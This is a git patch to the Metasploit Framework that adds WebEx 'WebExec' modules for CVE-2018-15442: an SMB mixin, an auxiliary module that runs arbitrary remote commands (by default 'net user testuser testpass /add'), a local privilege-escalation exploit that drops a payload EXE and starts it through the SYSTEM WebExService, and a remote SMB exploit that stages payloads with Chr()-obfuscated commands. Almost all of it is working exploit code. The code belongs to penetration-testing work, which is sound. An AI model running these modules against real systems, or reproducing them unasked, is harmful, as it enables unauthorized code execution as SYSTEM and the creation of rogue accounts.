From 34ae9c38f98b472b0df508518784c4445470c605 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Tue, 23 Oct 2018 15:51:23 -0500 Subject: [PATCH] added WebEx modules, arch check --- lib/msf/core/exploit/mixins.rb | 3 +- lib/msf/core/exploit/smb/client/webexec.rb | 110 ++++++++++ lib/rex/proto/dcerpc/svcctl/packet.rb | 36 +++- .../auxiliary/admin/smb/webexec_command.rb | 70 ++++++ modules/exploits/windows/local/webexec.rb | 201 ++++++++++++++++++ modules/exploits/windows/smb/webexec.rb | 186 ++++++++++++++++ 6 files changed, 601 insertions(+), 5 deletions(-) create mode 100644 lib/msf/core/exploit/smb/client/webexec.rb create mode 100644 modules/auxiliary/admin/smb/webexec_command.rb create mode 100644 modules/exploits/windows/local/webexec.rb create mode 100644 modules/exploits/windows/smb/webexec.rb diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index e3b07f7506..be04073265 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -31,10 +31,11 @@ require 'msf/core/exploit/dcerpc' require 'msf/core/exploit/smb/client' require 'msf/core/exploit/smb/client/authenticated' require 'msf/core/exploit/smb/client/local_paths' -require 'msf/core/exploit/smb/client/psexec' require 'msf/core/exploit/smb/client/pipe_auditor' +require 'msf/core/exploit/smb/client/psexec' require 'msf/core/exploit/smb/client/psexec_ms17_010' require 'msf/core/exploit/smb/client/remote_paths' +require 'msf/core/exploit/smb/client/webexec' require 'msf/core/exploit/smb/server' require 'msf/core/exploit/smb/server/share' require 'msf/core/exploit/ftp' diff --git a/lib/msf/core/exploit/smb/client/webexec.rb b/lib/msf/core/exploit/smb/client/webexec.rb new file mode 100644 index 0000000000..9b59733350 --- /dev/null +++ b/lib/msf/core/exploit/smb/client/webexec.rb @@ -0,0 +1,110 @@ +# -*- coding: binary -*- +require 'rex/proto/dcerpc/svcctl' +require 'windows_error' +require 'windows_error/win32' +require 'msf/core/exploit/exe' +require 'msf/core/exploit/wbemexec' + +include WindowsError::Win32 + +module Msf + +#### +# Makes use of a WebEx service vulnerability that works similarly to psexec. +# +# This code was stolen straight out of the psexec module which was stolen from +# the standalone Psexec tool. Thanks very much for all who contributed to that +# module!! Instead of uploading and running a binary. +#### + +module Exploit::Remote::SMB::Client::WebExec + + include Msf::Exploit::Windows_Constants + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Exploit::Failure + + def initialize(info = {}) + super + register_options( + [ + OptString.new('SERVICE_NAME', [ false, 'The service name', 'WebExService']), + ], self.class) + + register_advanced_options( + [ + ], self.class) + end + + def execute_single_command(command, opts) + command = command.split(/ /) + svc_status = opts[:svc_client].startservice(opts[:svc_handle], ["install", "software-update", "1", *command]) + case svc_status + when ERROR_SUCCESS + # This happens a lot, so don't print it + # print_good("Service started successfully...") + when ERROR_FILE_NOT_FOUND + print_error("Service failed to start - FILE_NOT_FOUND") + when ERROR_ACCESS_DENIED + print_error("Service failed to start - ACCESS_DENIED") + when ERROR_SERVICE_REQUEST_TIMEOUT + print_good("Service start timed out") + else + print_error("Service failed to start, ERROR_CODE: #{svc_status}") + end + end + + # Executes a single windows command. + # + # If you want to retrieve the output of your command you'll have to + # echo it to a .txt file and then use the {#smb_read_file} method to + # retrieve it. Make sure to remove the files manually or use + # {Exploit::FileDropper#register_files_for_cleanup} to have the + # {Exploit::FileDropper#cleanup} and + # {Exploit::FileDropper#on_new_session} handlers do it for you. + # + # @param command [String] Should be a valid windows command + # @param disconnect [Boolean] Disconnect afterwards + # @return [Boolean] Whether everything went well + def wexec(disconnect=true) + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("Bound to #{handle} ...") + vprint_status("Obtaining a service manager handle...") + + svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc) + # This is the only permission non-admin gets on Windows 7 (and likely others) + scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'], 0x00001) + + if scm_status == ERROR_ACCESS_DENIED + print_error("ERROR_ACCESS_DENIED opening the Service Manager") + end + + return false unless scm_handle + + # These are the best permissions I could use for a non-admin account on Windows 7 + svc_handle = svc_client.openservicew(scm_handle, datastore['SERVICE_NAME'], 0x00010) + + if svc_handle.nil? + print_error("No service handle retrieved") + return false + end + + vprint_status("Starting the service...") + begin + yield({ :svc_client => svc_client, :svc_handle => svc_handle }) + ensure + vprint_status("Closing service handle...") + svc_client.closehandle(svc_handle) + end + + if disconnect + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + end + + true + end +end +end diff --git a/lib/rex/proto/dcerpc/svcctl/packet.rb b/lib/rex/proto/dcerpc/svcctl/packet.rb index e48a45d3ff..f0ad1a9f4c 100644 --- a/lib/rex/proto/dcerpc/svcctl/packet.rb +++ b/lib/rex/proto/dcerpc/svcctl/packet.rb @@ -208,13 +208,41 @@ class Client # it. Returns true on success, or false. # # @param svc_handle [String] the handle of the service (from {#openservicew}). - # @param magic1 [Integer] an unknown value. - # @param magic2 [Integer] another unknown value. + # @param args [Array] an array of arguments to pass to the service (or nil) # # @return [Integer] Windows error code - def startservice(svc_handle, magic1 = 0, magic2 = 0) + def startservice(svc_handle, args=[]) svc_status = nil - stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + + if args.empty? + stubdata = svc_handle + NDR.long(0) + NDR.long(0) + else + # This is just an arbitrary "pointer" value, gonna match it to what the real version uses + id_value = 0x00000200 + + stubdata = svc_handle + stubdata += NDR.long(args.length) + NDR.long(id_value) + NDR.long(args.length) + + # Encode an id value for each parameter + args.each do + id_value += 0x04000000 + stubdata += NDR.long(id_value) + end + + # Encode the values now + args.each do |arg| + # We can't use NDR.uwstring here, because we need the "id" values to come first + stubdata += NDR.long(arg.length + 1) + NDR.long(0) + NDR.long(arg.length + 1) + + # Unicode string + stubdata += Rex::Text.to_unicode(arg + "\0") + + # Padding + if((arg.length % 2) == 0) + stubdata += Rex::Text.to_unicode("\0") + end + end + end begin response = dcerpc_client.call(0x13, stubdata) diff --git a/modules/auxiliary/admin/smb/webexec_command.rb b/modules/auxiliary/admin/smb/webexec_command.rb new file mode 100644 index 0000000000..ede242d8f2 --- /dev/null +++ b/modules/auxiliary/admin/smb/webexec_command.rb @@ -0,0 +1,70 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::SMB::Client::WebExec + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + # Aliases for common classes + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WebEx Remote Command Execution Utility', + 'Description' => %q{ + TODO + }, + + 'Author' => [ + 'Ron Bowes ', + ], + + 'License' => MSF_LICENSE, + 'References' => [ + # TODO + ] + )) + + register_options([ + OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']), + OptString.new('RPORT', [true, 'The Target port', 445]), + OptString.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', 'false']), + ]) + + register_advanced_options([ + ]) + end + + # This is the main controle method + def run_host(ip) + @smbshare = datastore['SMBSHARE'] + @ip = ip + + # Try and authenticate with given credentials + if connect + begin + smb_login + rescue Rex::Proto::SMB::Exceptions::Error => autherror + print_error("Unable to authenticate with given credentials: #{autherror}") + return + end + + command = datastore['COMMAND'] + if(datastore['FORCE_GUI'] == "true") + command = "WMIC PROCESS CALL Create \"#{command}\"" + end + + wexec(true) do |opts| + execute_single_command(command, opts) + end + + print_good("Command completed!") + disconnect + end + end +end diff --git a/modules/exploits/windows/local/webexec.rb b/modules/exploits/windows/local/webexec.rb new file mode 100644 index 0000000000..1ad5b1b42c --- /dev/null +++ b/modules/exploits/windows/local/webexec.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts + + def initialize(info={}) + super( update_info( info, + 'Name' => 'WebEx local service permissions exploit', + 'Description' => %q{ + This module exploits a a flaw in the 'webexservice' Windows service, which runs as SYSTEM, can be used to run arbitrary commands locally, and can be started by limited users in default installations. + }, + 'References' => + [ + ['URL', 'https://webexec.org'] + ], + 'DisclosureDate' => "Oct 09 2018", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeff McJunkin ' + ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 + }, + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"]) + ]) + @service_name = 'webexservice' + end + + def validate_arch + return target unless target.name == 'Automatic' + + case sysinfo['Architecture'] + when 'x86' + fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64' + vprint_status('Detected x86 system') + return targets[1] + when 'x64' + vprint_status('Detected x64 system') + return targets[2] + end + end + + def check_service_exists?(service) + srv_info = service_info(service) + + if srv_info.nil? + vprint_warning("Unable to enumerate services.") + return false + end + + if srv_info && srv_info[:display].empty? + vprint_warning("Service #{service} does not exist.") + return false + else + return true + end + end + + def check + if !check_service_exists?(@service_name) + return Exploit::CheckCode::Safe + end + + srv_info = service_info(@service_name) + + vprint_status(srv_info.to_s) + + case START_TYPE[srv_info[:starttype]] + when 'Disabled' + vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + vprint_good("Service is set to Automatically start...") + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Appears + end + + def check_write_access(path) + perm = check_dir_perms(path, @token) + if perm and perm.include?('W') + print_good("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end + + return false + end + + + def exploit + + begin + @token = get_imperstoken + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") + end + + fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token + + if is_system? + fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.") + end + + print_status("Checking service exists...") + if !check_service_exists?(@service_name) + fail_with(Failure::NoTarget, "The service doesn't exist.") + end + + if is_uac_enabled? + print_warning("UAC is enabled, may get false negatives on writable folders.") + end + + # Use manually selected Dir + file_path = datastore['DIR'] + + @exe_file_name = Rex::Text.rand_text_alphanumeric(8) + @exe_file_path = "#{file_path}\\#{@exe_file_name}.exe" + + service_information = service_info(@service_name) + + # Check architecture + valid_arch = validate_arch + exe = generate_payload_exe(:arch => valid_arch.arch) + + # + # Drop the malicious executable into the path + # + print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...") + begin + write_file(@exe_file_path, exe) + register_file_for_cleanup(@exe_file_path) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + fail_with(Failure::Unknown, e.message) + end + + # + # Run the service + # + print_status("Launching service...") + res = cmd_exec("cmd.exe", + "/c sc start webexservice install software-update 1 #{@exe_file_path}") + + if service_restart(@service_name) + print_status("Service started...") + else + service_information = service_info(@service_name) + if service_information[:starttype] == START_TYPE_AUTO + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + break if session_created? + select(nil,nil,nil,1) + end + else + fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end + else + fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") + end + end + end +end + diff --git a/modules/exploits/windows/smb/webexec.rb b/modules/exploits/windows/smb/webexec.rb new file mode 100644 index 0000000000..59ae37bf3e --- /dev/null +++ b/modules/exploits/windows/smb/webexec.rb @@ -0,0 +1,186 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# Windows XP systems that are not part of a domain default to treating all +# network logons as if they were Guest. This prevents SMB relay attacks from +# gaining administrative access to these systems. This setting can be found +# under: +# +# Local Security Settings > +# Local Policies > +# Security Options > +# Network Access: Sharing and security model for local accounts + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::SMB::Client::WebExec + include Msf::Exploit::Powershell + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WebExec Authenticated User Code Execution', + 'Description' => %q{ + This module uses a valid username and password of any level (or + password hash) to execute an arbitrary payload. This module is similar + to the "psexec" module, except allows any non-guest account by default. + }, + 'Author' => + [ + 'Ron ', + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 10, + 'EXITFUNC' => 'thread' + }, + 'References' => + [ + [ 'CVE', '2018-15442' ], + ], + 'Payload' => + { + 'Space' => 3072, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Native upload', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 24 2018' + )) + + register_options( + [ + # This has to be a full path, %ENV% variables are not expanded + OptString.new('TMPDIR', [ true, "The directory to stage our payload in", "c:\\Windows\\Temp\\" ]) + ]) + + register_advanced_options( + [ + OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), + OptInt.new('MAX_LINE_LENGTH', [true, "The length of lines when splitting up the payload", 1000]), + ]) + end + + # This is the callback for cmdstager, which breaks the full command into + # chunks and sends it our way. We have to do a bit of finangling to make it + # work correctly + def execute_command(command, opts) + # Replace the empty string, "", with a workaround - the first 0 characters of "A" + command = command.gsub('""', 'mid(Chr(65), 1, 0)') + + # Replace quoted strings with Chr(XX) versions, in a naive way + command = command.gsub(/"[^"]*"/) do |capture| + capture.gsub(/"/, "").chars.map do |c| + "Chr(#{c.ord})" + end.join('+') + end + + # Prepend "cmd /c" so we can use a redirect + command = "cmd /c " + command + + execute_single_command(command, opts) + end + + def exploit + print_status("Connecting to the server...") + connect(versions: [2,1]) + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if not simple.client.auth_user and not datastore['ALLOW_GUEST'] + print_line(" ") + print_error( + "FAILED! The remote host has only provided us with Guest privileges. " + + "Please make sure that the correct username and password have been provided. " + + "Windows XP systems that are not part of a domain will only provide Guest privileges " + + "to network logins by default." + ) + print_line(" ") + disconnect + return + end + + begin + if datastore['SMBUser'].to_s.strip.length > 0 + report_auth + end + + # Avoid implementing NTLMSSP on Windows XP + # http://seclists.org/metasploit/2009/q1/6 + if smb_peer_os == "Windows 5.1" + connect(versions: [1]) + smb_login + end + + wexec(true) do |opts| + opts[:flavor] = :vbs + opts[:linemax] = datastore['MAX_LINE_LENGTH'] + opts[:temp] = datastore['TMPDIR'] + opts[:delay] = 0.05 + execute_cmdstager(opts) + end + handler + disconnect + end + + end + + def report_auth + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['SMBPass'], + username: datastore['SMBUser'].downcase + } + + if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: datastore['SMBDomain'] + }) + end + + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ + credential_data.merge!({:private_type => :ntlm_hash}) + else + credential_data.merge!({:private_type => :password}) + end + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end